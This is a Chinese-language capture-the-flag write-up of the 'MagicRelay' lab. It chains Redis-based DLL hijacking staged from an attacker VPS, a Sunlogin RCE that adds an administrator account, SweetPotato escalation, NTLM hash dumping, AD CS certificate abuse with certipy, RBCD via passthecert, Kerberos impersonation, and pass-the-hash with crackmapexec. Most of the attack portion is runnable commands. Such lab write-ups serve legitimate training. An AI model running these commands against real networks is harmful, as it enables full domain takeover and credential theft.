春秋云境-MagicRelay

flag01

image-20250305180956626

新版fscan是好看哈

发现redis版本是3.0.504

MDUT连接

image-20250305181137824

image-20250305181322298

通过文件路径可以看出是windows系统,对于windows下的获取权限的方式,网上并不是很多,但是对于Redis未授权漏洞的利用,其最根本的原理就是写文件的利用,大致有以下几种
1、能够获取web绝对路径的,直接写入webshell
2、写入启动项
3、写入mof、dll劫持等

没有web服务,webshell也就没法写了,启动项的话

windows下的开机启动项的目录为

1
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
1
2
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
靶机无法重启,无法用启动项

image-20250305182417153

这里无法执行

写入MOF 但是版本靶机版本是win2019 要求是win2003 所以此方法不行

只剩下DLL劫持了https://www.cnblogs.com/sup3rman/p/16803408.html

从本地的system32文件夹下提取出 dbghelp.dll,然后使用 dllHijack 脚本,

dllHijack这里最好是用这个修改过的, 原来的脚本会报错
由于每个人的操作版本不一样,所以system32文件夹下面的 dbghelp.dll 可能也会有区别,这里我用的是 winserver 2019 build 17763 版本里面的dbghelp.dll

用脚本生成dbghelp.dll 的Visual Studio 2019的项目文件

1
python3 DllHijacker.py dbghelp.dll 

再用visual Studio 2019 打开项目文件

请在VS2019中修改项目的属性如果不改,那么靶机无法加载生成出来的DLL
属性->C/C++->代码生成->运行库->多线程 (/MT)如果是debug则设置成MTD
属性->C/C++->代码生成->禁用安全检查GS
关闭生成清单 属性->链接器->清单文件->生成清单 选择否

image-20250305185255652

在VS2019中替换 dllmain.cpp 中的shellcode,

然后选择 Release x64 生成DLL文件
把生成好的文件上传到 RedisWriteFile.py 同级目录下面
然后把脚本 RedisWriteFile 文件夹上传到你的VPS上,
执行命令,记得在安全组里面开放你vps的16379端口

1
python3 RedisWriteFile.py --rhost 39.98.125.195--rport 6379 --lhost 140.143.143.130  --lport 16379 --rpath 'C:\\Program Files\\Redis\\' --rfile 'dbghelp.dll' --lfile 'dbghelp.dll'

image-20250305190504269

上线cs

image-20250305191248940

image-20250305191724441

flag02

上传fscan gost

向日葵RCE

image-20250305191926371

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
[*] 开始信息扫描...
[*] CIDR范围: 172.22.12.0-172.22.12.255
[*] 已生成IP范围: 172.22.12.0 - 172.22.12.255
[*] 已解析CIDR 172.22.12.31/24 -> IP范围 172.22.12.0-172.22.12.255
[*] 最终有效主机数量: 256
[+] 目标 172.22.12.6 存活 (ICMP)
[+] 目标 172.22.12.12 存活 (ICMP)
[+] 目标 172.22.12.25 存活 (ICMP)
[+] 目标 172.22.12.31 存活 (ICMP)
[+] ICMP存活主机数量: 4
[*] 共解析 218 个有效端口
[+] 端口开放 172.22.12.31:80
[+] 端口开放 172.22.12.12:80
[+] 端口开放 172.22.12.6:139
[+] 端口开放 172.22.12.25:135
[+] 端口开放 172.22.12.31:21
[+] 端口开放 172.22.12.12:135
[+] 端口开放 172.22.12.31:445
[+] 端口开放 172.22.12.31:135
[+] 端口开放 172.22.12.25:445
[+] 端口开放 172.22.12.6:135
[+] 端口开放 172.22.12.12:445
[+] 端口开放 172.22.12.6:88
[+] 端口开放 172.22.12.6:445
[+] 端口开放 172.22.12.25:6379
[+] 端口开放 172.22.12.25:139
[+] 端口开放 172.22.12.31:139
[+] 端口开放 172.22.12.12:139
[+] 存活端口数量: 17
[*] 开始漏洞扫描...
[+] Redis扫描模块开始...
[!] 扫描错误 172.22.12.25:445 - read tcp 172.22.12.31:51113->172.22.12.25:445: wsarecv: An existing connection was forcibly closed by the remote host.
[!] 扫描错误 172.22.12.31:445 - read tcp 172.22.12.31:51123->172.22.12.31:445: wsarecv: An existing connection was forcibly closed by the remote host.
[*] NetInfo
[*] 172.22.12.6
[->] WIN-SERVER
[->] 172.22.12.6
[!] 扫描错误 172.22.12.12:445 - 无法确定目标是否存在漏洞
[!] 扫描错误 172.22.12.6:88 - Get "http://172.22.12.6:88": read tcp 172.22.12.31:51127->172.22.12.6:88: wsarecv: An existing connection was forcibly closed by the remote host.
[*] NetInfo
[*] 172.22.12.12
[->] WIN-AUTHORITY
[->] 172.22.12.12
[*] NetInfo
[*] 172.22.12.25
[->] WIN-YUYAOX9Q
[->] 172.22.12.25
[*] NetInfo
[*] 172.22.12.31
[->] WIN-IISQE3PC
[->] 172.22.12.31
[*] NetBios 172.22.12.25 XIAORANG\WIN-YUYAOX9Q
[*] OsInfo 172.22.12.6 (Windows Server 2016 Standard 14393)
[+] ftp 172.22.12.31:21:anonymous
[->]SunloginClient_11.0.0.33826_x64.exe
[*] NetBios 172.22.12.6 [+] DC:WIN-SERVER.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetBios 172.22.12.12 WIN-AUTHORITY.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] 网站标题 http://172.22.12.12 状态码:200 长度:703 标题:IIS Windows Server
[*] 网站标题 http://172.22.12.31 状态码:200 长度:703 标题:IIS Windows Server
[+] [发现漏洞] 目标: http://172.22.12.12
漏洞类型: poc-yaml-active-directory-certsrv-detect
漏洞名称:
详细信息: %!s(<nil>)
[!] 扫描错误 172.22.12.31:139 - netbios error
[+] Redis 172.22.12.25:6379 发现未授权访问 文件位置:C:\Program Files\Redis/dump.rdb
[+] 扫描已完成: 17/17
[*] 扫描结束,耗时: 14.0791992s

发现ftp匿名登录

image-20250305195521878

该版本存在rce https://github.com/Mr-xn/sunlogin_rce

image-20250305211329938

1
2
3
4
5
6
7
8
9
xrkRce.exe -h 172.22.12.31  -t scan
----------------------------------------------

[Info] 正在扫描中,请稍等....
[Info] 目标可能存在Rce!端口: 49685
花费时间为: 1m40.2054255s
----------------------------------------------
xrkRce.exe -h 172.22.12.31 -t rce -p 49685 -c "net user aaa 123456Aa! /add"
xrkRce.exe -h 172.22.12.31 -t rce -p 49685 -c "net localgroup Administrators aaa /add"

image-20250305201150953

flag03

1
shell whoami /priv

image-20250305193541805

发现身份验证号模拟客户端启用,可以用sweetpotato提权,上传,

image-20250305194154480

上线system权限

1
shell C:\Users\Public\sweetpotato.exe -a "C:\Users\Public\beacon.exe"

image-20250305194553009

dump明文密码,拿到管理员的hash

1
2
3
4
Username : WIN-YUYAOX9Q$
* Domain : XIAORANG
* NTLM : e611213c6a712f9b18a8d056005a4f0f
* SHA1 : 1a8d2c95320592037c0fa583c1f62212d4ff8ce9
1
shell C:\Users\Public\Desktop\sharphound.exe -c all --outputdirectory C:\Users\Public\

收集域内信息

这里我搞完了就是没法下载压缩包

借用一下别的师傅的图

ObsidianPasted image 20250227134405

WIN-YUYAOX9Q单独出来的,和其他机器没有什么联系,但是存在CA服务器

查看一下

1
shell certutil

image-20250305201512576

配置hosts

1
2
3
4
5
#/etc/hosts
172.22.12.6 WIN-SERVER.xiaorang.lab
172.22.12.12 xiaorang-WIN-AUTHORITY-CA
172.22.12.6 xiaorang.lab
172.22.12.12 WIN-AUTHORITY.xiaorang.lab

然后需要一个域内用户账号创建一个机器账号,此机器账号用于冒充域管
这里我们前面抓到的 WIN-YUYAOX9Q$ 机器账号的hash就派上用场了
利用WIN-YUYAOX9Q$ 机器用户新建一个机器用户

1
proxychains -q certipy-ad account create -u WIN-YUYAOX9Q$ -hashes e611213c6a712f9b18a8d056005a4f0f  -dc-ip 172.22.12.6 -user aaa -dns WIN-SERVER.xiaorang.lab -debug 

image-20250305202935941

然后使用创建好的机器账号申请一个证书

1
proxychains certipy-ad req -u 'aaa$@xiaorang.lab' -p 'ObZEUaUOxhfU5xCj' -ca 'xiaorang-WIN-AUTHORITY-CA' -target 172.22.12.12 -template 'Machine' -debug -dc-ip 172.22.12.6

然后利用证书即可获取到域控机器账号的Hash

1
proxychains certipy auth -pfx win-server.pfx -dc-ip 172.22.12.6 -debug

image-20250305212501134

这里报错了”KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type

这屋里就跟网鼎杯的那套题最后类似了

提取出密钥与证书

1
2
3
4
openssl pkcs12 -in win-server.pfx -nodes -out win-server.pem
openssl rsa -in win-server.pem -out win-server.key
openssl x509 -in win-server.pem -out win-server.crt

image-20250305212544920

1
2
3
4

certipy cert -pfx win-server.pfx -nokey -out win-server.crt
certipy-ad cert -pfx win-server.pfx -nocert -out win-server.key

将证书配置到域控的RBCD

1
proxychains -q python3 passthecert.py -action write_rbcd -crt win-server.crt -key win-server.key -domain xiaorang.lab -dc-ip 172.22.12.6 -delegate-to 'win-server$' -delegate-from 'aaa$'

image-20250305203518724

申请一张cifs服务的ST

1
proxychains -q impacket-getST xiaorang.lab/'aaa$':'ObZEUaUOxhfU5xCj' -spn cifs/win-server.xiaorang.lab -impersonate Administrator -dc-ip 172.22.12.6

image-20250305212810111

导入票据

1
export KRB5CCNAME=Administrator.ccache
1
proxychains -q impacket-psexec Administrator@win-server.xiaorang.lab -k -no-pass -dc-ip 172.22.12.6 -codec gbk

image-20250305212911419

flag04

sqm转存

1
proxychains impacket-secretsdump 'xiaorang.lab/administrator@win-server.xiaorang.lab' -target-ip 172.22.12.6 -no-pass -k

喷洒一下看看是哪个机器上的

1
proxychains crackmapexec smb 172.22.12.12 -u 'administrator' -H 'aa95e708a5182931157a526acf769b13' 

image-20250305213055982

1
proxychains crackmapexec smb   172.22.12.12 -u 'administrator' -H 'aa95e708a5182931157a526acf769b13' -x 'type c:\Users\administrator\flag03.txt'

image-20250305205054450